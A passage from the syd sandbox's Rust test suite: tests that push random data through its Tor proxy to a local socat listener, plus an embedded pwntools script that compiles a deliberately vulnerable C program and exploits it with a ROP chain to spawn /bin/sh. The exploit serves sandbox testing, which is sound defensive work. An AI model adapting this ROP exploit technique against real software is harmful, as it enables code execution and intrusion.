SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=progress | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],fork,ipv6only,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/addr:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
    echo $data | socat -u - TCP6:[::1]:9050,forever
    n=`expr $n + 1`
    while test `grep -c childdied log || true` -lt $n; do :; done
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
set +x
echo >&2 "[*] Terminating background socat after syd exit."
tail >&2 -f log &
t=$!
kill -9 $p; wait $p || true
kill -9 $t; wait $t || true
set -x
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4_many_par() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i250-500`
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=progress | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,fork,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    if test $n -eq 0; then
        set -x
    elif test $t; then
        c=`grep -c childdied log || true`
        printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent, $c received..."
    fi
    echo $data | socat -u - TCP4:127.0.0.1:9050,forever &
    test $n -eq 0 && set +x
    n=`expr $n + 1`
    if test `expr $n % $SYD_TEST_TOR_CHLD` -eq 0; then
        while true; do
            c=`grep -c childdied log || true`
            test $c -ge $n && break
            test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
        done
    fi
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
set +e
echo >&2 "[*] Waiting for socats to send data and exit."
wait
# Wait all socat children to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle all incoming connections."
c=0
while true; do
    test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
    c=`grep -c childdied log || true`
    test $c -lt $n || break
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $c out of $n received."
EOF
set +x
echo >&2 "[*] Terminating background socats after syd exit."
kill -9 $p; wait $p || true
set -x
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6_many_par() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i250-500`
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=progress | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],fork,ipv6only,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/addr:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    if test $n -eq 0; then
        set -x
    elif test $t; then
        c=`grep -c childdied log || true`
        printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent, $c received..."
    fi
    echo $data | socat -u - TCP6:[::1]:9050,forever &
    test $n -eq 0 && set +x
    n=`expr $n + 1`
    if test `expr $n % $SYD_TEST_TOR_CHLD` -eq 0; then
        while true; do
            c=`grep -c childdied log || true`
            test $c -ge $n && break
            test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
        done
    fi
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
set +e
echo >&2 "[*] Waiting for socats to send data and exit."
wait
# Wait all socat children to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle all incoming connections."
c=0
while true; do
    test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
    c=`grep -c childdied log || true`
    test $c -lt $n || break
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $c out of $n received."
EOF
set +x
echo >&2 "[*] Terminating background socats after syd exit."
kill -9 $p; wait $p || true
set -x
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

const STACK_PIVOT_CODE: &str = r##"
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple ROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0-or-later

import os, sys, subprocess, shutil, time

# Check if pwntools is installed.
try:
    from pwn import context, ELF, process, log, cyclic, cyclic_find, ROP
except ImportError:
    sys.stderr.write("[!] Pwntools is not installed. Exiting.\n")
    sys.exit(127)
else:
    context.terminal = ["echo", "ENOTTY"]

if context.arch not in ("amd64", "i386"):
    log.warn("This script only works on X86 ATM. Exiting.")
    sys.exit(127)

# Constants
BUF_SIZE = 8
TEMP_FILES = ["vuln.c", "vuln", "rop.bin", "rop.txt", "pwned"]


def compile_vuln():
    # C code for the vulnerable program.
    vuln_c_code = f"""
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int overflow(void) {{
    char buf[{BUF_SIZE}];
    gets(buf); /* Vulnerable to buffer overflow */
    return 0;
}}

int main(void) {{
    overflow();
    if (getuid() + getpid() == 0)
        system("/bin/sh");
    return 0;
}}
    """

    # Write the C code to a file.
    log.info("Writing C code to vuln.c")
    with open("vuln.c", "w") as f:
        f.write(vuln_c_code)

    # Compile the vulnerable program.
    cc_cmd = ("cc -ansi -pedantic "
        "-g -O0 -Wall "
        "-fno-stack-protector -no-pie "
        "-static vuln.c -o vuln "
        "-Wl,-no-pie",
        "-Wl,-z,now -Wl,-z,relro "
        "-Wl,--whole-archive "
        "-lc -lpthread -lrt -ldl -lm "
        "-Wl,--no-whole-archive")
    log.info("Compiling the vulnerable program.")
    log.info(f"{cc_cmd}")
    try:
        result = subprocess.run(
            cc_cmd,
            shell=True,
            check=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
        )
        log.info(result.stderr.decode())
        log.info(result.stdout.decode())
    except subprocess.CalledProcessError as e:
        log.warn(
            f"Compilation of vulnerable program failed. Exiting.\n{e.stderr.decode()}"
        )
        sys.exit(127)


def generate_rop():
    # Set context for pwntools.
    context.binary = "./vuln"
    elf = ELF("./vuln")

    # Ensure core dumps are unlimited.
    log.info("Setting core dump size to unlimited.")
    try:
        subprocess.run(
            ["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
        )
    except subprocess.CalledProcessError:
        log.warn("Failed to set core dump size to unlimited.")
        log.warn("The next step may fail.")

    # Generate a cyclic pattern and send it to the vulnerable program.
    log.info("Generating cyclic pattern to find offset.")
    pattern = cyclic(128)
    p = process("./vuln")
    p.sendline(pattern)
    p.wait()

    # Extract the core dump.
    core = p.corefile
    arch = context.arch

    if arch == "amd64" or arch == "i386":
        stack_pointer = "rsp"
    elif arch == "arm" or arch == "aarch64":
        stack_pointer = "sp"
    else:
        log.warn(f"Unsupported architecture: {arch}")
        sys.exit(127)

    offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
    log.info(f"Offset is {offset}.")

    log.info(f"Removing coredump file '{core.path}'")
    try:
        os.remove(core.path)
    except:
        log.warn(f"Failed to remove coredump file '{core.path}'")

    # Clear ROP cache.
    try:
        ROP.clear_cache()
    except:
        pass

    # Find ROP gadgets and /bin/sh string.
    log.info("Finding ROP gadgets and locating '/bin/sh'")
    rop = ROP(elf)
    bin_sh = next(elf.search(b"/bin/sh"))
    log.info("Located '/bin/sh' at %#x." % bin_sh)

    # Construct the payload.
    log.info("Constructing the ROP chain.")
    payload = b"A" * offset  # Overflow buffer.

    # Add ROP chain to the payload.
    rop.call("execve", [bin_sh, 0, 0])
    payload += rop.chain()

    # Print payload for debugging
    log.info("ROP payload is %d bytes." % len(payload))
    print(rop.dump(), file=sys.stderr)
    with open("rop.txt", "w") as f:
        print(rop.dump(), file=f)
    log.info("ROP textual dump saved to 'rop.txt' for inspection.")

    # Save the ROP details to a file.
    with open("rop.bin", "wb") as f:
        f.write(payload)

    log.info("ROP payload saved to file 'rop.bin'")
    log.info('Do "stack-pivot run" in the same directory to perform exploitation.')


def run_exploit():
    # Load the ROP details from the file.
    with open("rop.bin", "rb") as f:
        payload = f.read()

    # Function to attempt exploit without using pwntools
    def attempt_exploit():
        try:
            p = subprocess.Popen(["./vuln"], stdin=subprocess.PIPE)

            log.info("Writing the ROP payload to vulnerable program's standard input.")
            p.stdin.write(payload + b"\n")
            p.stdin.flush()

            log.info("Sending input to the ROP shell.")
            p.stdin.write(
                b"set -ex; echo ROP: Heavy is the root of light. Still is the master of moving.; sleep 1; touch pwned; exit 42\n"
            )
            p.stdin.flush()

            for _ in range(3):
                if os.path.exists("pwned"):
                    os.remove("pwned")
                    p.kill()
                    return True
                time.sleep(1)
            p.kill()
        except:
            return False
        return False

    # Attempt the exploit up to 60 times.
    max_attempts = 60
    for attempt in range(max_attempts):
        log.info("Running the vulnerable program.")
        log.info(f"Attempt {attempt + 1} of {max_attempts} with 3 seconds timeout.")
        if attempt_exploit():
            log.warn("Successfully smashed the stack using a ROP chain!")
            sys.exit(42)
        else:
            log.info(f"Attempt {attempt + 1} failed.")

    log.info("All attempts failed.")
    sys.exit(0)


def clean():
    for temp_file in TEMP_FILES:
        if os.path.exists(temp_file):
            shutil.rmtree(temp_file)


def print_help():
    print("Usage:")
    print("stack-pivot init  - Runs the preparation")
    print("stack-pivot run   - Runs the exploitation")
    print("stack-pivot clean - Runs the cleanup")
    print("stack-pivot help  - Prints this help message")
    print("stack-pivot       - Prints this help message")


def main():
    if len(sys.argv) < 2:
        print_help()
        sys.exit(0)
    elif sys.argv[1] == "init":
        compile_vuln()
        generate_rop()
    elif sys.argv[1] == "run":
        run_exploit()
    elif sys.argv[1] == "clean":
        clean()
    else:
        print_help()
        sys.exit(0)


if __name__ == "__main__":
    main()
"##;

fn init_stack_pivot() -> bool {
    // Write the python code to a temporary file.
    match File::create("stack-pivot") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(STACK_PIVOT_CODE.as_bytes()) {
                eprintln!("Failed to write to file stack-pivot: {e}");
                return false;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file stack-pivot: {e}");
            return false;
        }
    }

    if let Err(e) = syd::fs::chmod_x("./stack-pivot") {
        eprintln!("Failed to set stack-pivot executable: {e}");
        return false;
    }

    // Prepare attack unsandboxed.
    let status = Command::new("python")
        .arg("./stack-pivot")
        .arg("init")
        .stdin(Stdio::null())
        .stdout(Stdio::inherit())
        .stderr(Stdio::inherit())
        .status();

    match status {
        Ok(status) => {
            if !status.success() {
                eprintln!("Preparation of stack pivot attack failed with status: {status}");
                false
            } else {
                true
            }
        }
        Err(e) => {
            eprintln!("Failed to execute stack-pivot command: {e}");
            false
        }
    }
}
